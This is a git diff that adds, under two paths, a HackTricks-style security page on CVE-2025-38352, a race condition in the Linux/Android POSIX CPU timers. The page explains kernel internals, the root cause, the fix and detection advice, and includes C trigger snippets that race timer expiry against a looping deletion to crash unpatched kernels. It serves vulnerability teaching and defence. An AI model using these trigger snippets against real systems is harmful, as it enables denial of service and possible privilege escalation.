diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..8206f80f7 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,213 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation. + +- Affected component: kernel/time/posix-cpu-timers.c +- Primitive: expiry vs deletion race under task exit +- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Quick internals recap (relevant for exploitation) +- Three CPU clocks drive accounting for timers via cpu_clock_sample(): + - CPUCLOCK_PROF: utime + stime + - CPUCLOCK_VIRT: utime only + - CPUCLOCK_SCHED: task_sched_runtime() +- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes: + +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { + struct pid *pid; + rcu_read_lock(); + pid = pid_for_clock(new_timer->it_clock, false); + if (!pid) { rcu_read_unlock(); return -EINVAL; } + new_timer->kclock = &clock_posix_cpu; + timerqueue_init(&new_timer->it.cpu.node); + new_timer->it.cpu.pid = get_pid(pid); + rcu_read_unlock(); + return 0; +} +``` + +- Arming inserts into a per-base timerqueue and may update the next-expiry cache: + +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { + struct posix_cputimer_base *base = timer_base(timer, p); + struct cpu_timer *ctmr = &timer->it.cpu; + u64 newexp = cpu_timer_getexpires(ctmr); + if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; + if (newexp < base->nextevt) base->nextevt = newexp; +} +``` + +- Fast path avoids expensive processing unless cached expiries indicate possible firing: + +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { + struct posix_cputimers *pct = &tsk->posix_cputimers; + if (!expiry_cache_is_inactive(pct)) { + u64 samples[CPUCLOCK_MAX]; + task_sample_cputime(tsk, samples); + if (task_cputimers_expired(samples, pct)) + return true; + } + return false; +} +``` + +- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred: + +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, + struct list_head *firing, u64 now) { + struct timerqueue_node *next; int i = 0; + while ((next = timerqueue_getnext(head))) { + struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); + u64 expires = cpu_timer_getexpires(ctmr); + if (++i == MAX_COLLECTED || now < expires) return expires; + ctmr->firing = 1; // critical state + rcu_assign_pointer(ctmr->handling, current); + cpu_timer_dequeue(ctmr); + list_add_tail(&ctmr->elist, firing); + } + return U64_MAX; +} +``` + +Two expiry-processing modes +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context + +```c +void run_posix_cpu_timers(void) { + struct task_struct *tsk = current; + __run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { + if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; + tsk->posix_cputimers_work.scheduled = true; + task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { + lockdep_posixtimer_enter(); + handle_posix_cpu_timers(tsk); // IRQ-context path + lockdep_posixtimer_exit(); +} +#endif +``` + +In the IRQ-context path, the firing list is processed outside sighand + +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { + struct k_itimer *timer, *next; unsigned long flags, start; + LIST_HEAD(firing); + if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit + do { + start = READ_ONCE(jiffies); barrier(); + check_thread_timers(tsk, &firing); + check_process_timers(tsk, &firing); + } while (!posix_cpu_timers_enable_work(tsk, start)); + unlock_task_sighand(tsk, &flags); // race window opens here + list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { + int cpu_firing; + spin_lock(&timer->it_lock); + list_del_init(&timer->it.cpu.elist); + cpu_firing = timer->it.cpu.firing; // read then reset + timer->it.cpu.firing = 0; + if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); + rcu_assign_pointer(timer->it.cpu.handling, NULL); + spin_unlock(&timer->it_lock); + } +} +``` + +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: + +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) + return; +``` + +- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing. + +Impact +- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): + - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) + - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: + +```c +static timer_t t; +static void setup_cpu_timer(void) { + struct sigevent sev = {0}; + sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race + sev.sigev_signo = SIGUSR1; + if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); + struct itimerspec its = {0}; + its.it_value.tv_nsec = 1; // fire ASAP + its.it_interval.tv_nsec = 1; // re-fire + if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` + +- From a sibling thread, concurrently delete the same timer while the target thread exits: + +```c +void *deleter(void *arg) { + for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` + +- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand(). + +Detection and hardening +- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible. +- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Notes for exploitation research +- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..8206f80f7 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,213 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation. + +- Affected component: kernel/time/posix-cpu-timers.c +- Primitive: expiry vs deletion race under task exit +- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Quick internals recap (relevant for exploitation) +- Three CPU clocks drive accounting for timers via cpu_clock_sample(): + - CPUCLOCK_PROF: utime + stime + - CPUCLOCK_VIRT: utime only + - CPUCLOCK_SCHED: task_sched_runtime() +- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes: + +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { + struct pid *pid; + rcu_read_lock(); + pid = pid_for_clock(new_timer->it_clock, false); + if (!pid) { rcu_read_unlock(); return -EINVAL; } + new_timer->kclock = &clock_posix_cpu; + timerqueue_init(&new_timer->it.cpu.node); + new_timer->it.cpu.pid = get_pid(pid); + rcu_read_unlock(); + return 0; +} +``` + +- Arming inserts into a per-base timerqueue and may update the next-expiry cache: + +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { + struct posix_cputimer_base *base = timer_base(timer, p); + struct cpu_timer *ctmr = &timer->it.cpu; + u64 newexp = cpu_timer_getexpires(ctmr); + if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; + if (newexp < base->nextevt) base->nextevt = newexp; +} +``` + +- Fast path avoids expensive processing unless cached expiries indicate possible firing: + +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { + struct posix_cputimers *pct = &tsk->posix_cputimers; + if (!expiry_cache_is_inactive(pct)) { + u64 samples[CPUCLOCK_MAX]; + task_sample_cputime(tsk, samples); + if (task_cputimers_expired(samples, pct)) + return true; + } + return false; +} +``` + +- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred: + +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, + struct list_head *firing, u64 now) { + struct timerqueue_node *next; int i = 0; + while ((next = timerqueue_getnext(head))) { + struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); + u64 expires = cpu_timer_getexpires(ctmr); + if (++i == MAX_COLLECTED || now < expires) return expires; + ctmr->firing = 1; // critical state + rcu_assign_pointer(ctmr->handling, current); + cpu_timer_dequeue(ctmr); + list_add_tail(&ctmr->elist, firing); + } + return U64_MAX; +} +``` + +Two expiry-processing modes +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context + +```c +void run_posix_cpu_timers(void) { + struct task_struct *tsk = current; + __run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { + if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; + tsk->posix_cputimers_work.scheduled = true; + task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { + lockdep_posixtimer_enter(); + handle_posix_cpu_timers(tsk); // IRQ-context path + lockdep_posixtimer_exit(); +} +#endif +``` + +In the IRQ-context path, the firing list is processed outside sighand + +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { + struct k_itimer *timer, *next; unsigned long flags, start; + LIST_HEAD(firing); + if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit + do { + start = READ_ONCE(jiffies); barrier(); + check_thread_timers(tsk, &firing); + check_process_timers(tsk, &firing); + } while (!posix_cpu_timers_enable_work(tsk, start)); + unlock_task_sighand(tsk, &flags); // race window opens here + list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { + int cpu_firing; + spin_lock(&timer->it_lock); + list_del_init(&timer->it.cpu.elist); + cpu_firing = timer->it.cpu.firing; // read then reset + timer->it.cpu.firing = 0; + if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); + rcu_assign_pointer(timer->it.cpu.handling, NULL); + spin_unlock(&timer->it_lock); + } +} +``` + +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: + +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) + return; +``` + +- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing. + +Impact +- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): + - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) + - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: + +```c +static timer_t t; +static void setup_cpu_timer(void) { + struct sigevent sev = {0}; + sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race + sev.sigev_signo = SIGUSR1; + if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); + struct itimerspec its = {0}; + its.it_value.tv_nsec = 1; // fire ASAP + its.it_interval.tv_nsec = 1; // re-fire + if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` + +- From a sibling thread, concurrently delete the same timer while the target thread exits: + +```c +void *deleter(void *arg) { + for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` + +- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand(). + +Detection and hardening +- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible. +- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Notes for exploitation research +- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}